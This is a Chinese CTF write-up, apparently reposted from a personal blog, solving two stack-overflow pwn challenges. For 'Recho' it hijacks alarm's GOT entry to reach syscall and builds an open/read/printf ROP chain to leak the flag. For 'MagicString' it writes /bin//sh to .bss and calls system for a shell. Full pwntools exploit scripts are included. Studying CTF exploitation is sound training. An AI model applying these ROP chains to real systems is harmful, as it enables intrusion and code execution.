前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Ret2syscall提升

Ret2syscall提升

作者头像
ly0n
发布2020-11-04 11:09:49
5610
发布2020-11-04 11:09:49
举报
文章被收录于专栏:ly0nly0n

前言

​ 经过昨天的Ret2syscall学习,今天就想着找一些ret2syscall的题目来提升一下。

题目地址

题目分析

​ 打开题目查看一下保护

然后拖入IDA看下程序逻辑,发现逻辑很简单,就只有一个main,分析下代码

​ 看着是一个很简单的栈溢出,但是read一直为真,也就是程序会一直执行下去,这道题的难点就在于如何让循环停止,百度下知道了在pwntools里有一个shutdown功能,该功能可以关闭流。使程序停止循环。但是关闭后就不能打开,所以我们的ROP要一R到底。

​ 一次性完成所有的操作,可以使用系统调用(syscall)的方法,比较简单的地方在于程序给了我们flag的文件,我们可以利用系统函数读取flag内容然后打印出来。

​ 我们知道open write read alarm都是系统调用函数,关于系统调用号请到另一篇文章学习系统调用号 。这个程序中已经调用了write read alarm所以我们缺少open ,open也是系统调用,所以我们只要改变传入的eax,就可以调用open ,我们首先要找到syscall的地址或调用它的某处地址。

调用open我们可以构造这样的代码来得到flag。

代码语言:javascript
复制
int fd = open("flag",READONLY);  
read(fd,buf,100);  
printf(buf);

在程序中我们找不到可以直接利用的syscall

但是我们用不到alarm 所以我们可以通过修改alarmgot表地址,使其指向syscall

syscallalarm的偏移为固定的0x5,所以我们可以将alarm的got表加上偏移的0x5个字节指向syscall,然后通过plt来链接alarm的真实地址调用syscall。

构造ROP

代码语言:javascript
复制
ROPgadget --binary ./Recho --only "pop|ret"|grep "rax"
ROPgadget --binary ./Recho --only "pop|ret"|grep "rdx"
ROPgadget --binary ./Recho --only "pop|ret"|grep "rdi"
ROPgadget --binary ./Recho --only "pop|ret"|grep "rsi"
ROPgadget --binary ./Recho  --only "add|ret"|grep "al"

构造payload

我们要做的第一步就是修改alarm的got表内容使其指向syscall,偏移是0x5 也就是rdi=alarm_got rax=0x5 第二步就是调用系统函数open来构造读取flag,open系统调用号为0x2rsi参数为null rdi=flag_add rax=0x2 第三步调用syscall通过plt来链接alarm的真实地址 第四步构造read(fd,buf,100) rdi指向buf用于存放获取的结果。要注意的是open的文件描述符从3开始,然后依次增加。 第五步指向read函数,读取获取的结果 第六步使用printf函数打印结果

最终exp

代码语言:javascript
复制
#encoding:utf-8
from pwn import *
context.log_level = 'debug' 
#sh = process('./Recho')
elf = ELF('./Recho')
sh = remote('220.249.52.133',55632)
pop_rax = 0x00000000004006fc
pop_rdx = 0x00000000004006fe
pop_rsi = 0x00000000004008a1
pop_rdi = 0x00000000004008a3
bss_add = 0x0000000000601070
rdi_add = 0x000000000040070d
flag_add = 0x0000000000601058

alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']
read_plt = elf.plt['read']
printf_plt = elf.plt['printf']

#修改got表内容使其指向syscall
payload  = 'a' * 0x38
payload += p64(pop_rdi)
payload += p64(alarm_got)
payload += p64(pop_rax)
payload += p64(0x5)
payload += p64(rdi_add)
# 调用系统函数open
payload += p64(pop_rsi)
payload += p64(0) + p64(0)
payload += p64(pop_rdi)
payload += p64(flag_add)
#open的系统函数调用号位2
payload += p64(pop_rax)
payload += p64(0x2)
#指向syscall的地址,通过plt连接got表来获取真实地址
payload += p64(alarm_plt)
#将读取到的值存放到bss段
payload += p64(pop_rsi) + p64(bss_add) + p64(0)
#open函数的文件描述符从3开始
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rdx)
#最多读取100个字符
payload += p64(100)
#指向read()
payload += p64(read_plt)
#使用printf打印读取的内容
payload += p64(pop_rdi)
payload += p64(bss_add)
payload += p64(printf_plt)
#尽量使字符串长,这样才能将我们的payload全部输进去,不然可能因为会有缓存的问题导致覆盖不完整  
payload += payload.ljust(0x200,'\x00')
sh.recvuntil('Welcome to Recho server!\n') 
sh.sendline(str(0x200))  
sh.sendline(payload)
sh.shutdown('write')
sh.interactive()

第二道题目

做题平台ctf.show 36D杯MagicString

​ 检查程序,发现只开了NX,想着应该是栈溢出了,IDA分析程序

是64为程序,所以偏移位是0x2a0+8

解题思路

算出偏移0x2a8/bin//sh写入到bss段 然后调用system执行

exp

代码语言:javascript
复制
from pwn import *

#sh = process('./pwn')
sh = remote('111.231.70.44',28052)
#context.log_level = 'debug'
elf = ELF('./pwn')

sys_addr=elf.symbols['system']
gets_plt=elf.plt['gets']
bss_addr =0x0000000000601060
rdi_addr =0x0000000000400733
rsi_r15 = 0x0000000000400731

payload  = 'a' * 0x2a8
payload += p64(rdi_addr)
payload += p64(bss_addr)
payload += p64(gets_plt)
payload += p64(rdi_addr)
payload += p64(bss_addr)
payload += p64(sys_addr)

sh.sendline(payload)
sh.sendline('/bin//sh')
sh.interactive()
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-06-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 题目分析
  • 构造ROP
  • 构造payload
  • 第二道题目
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档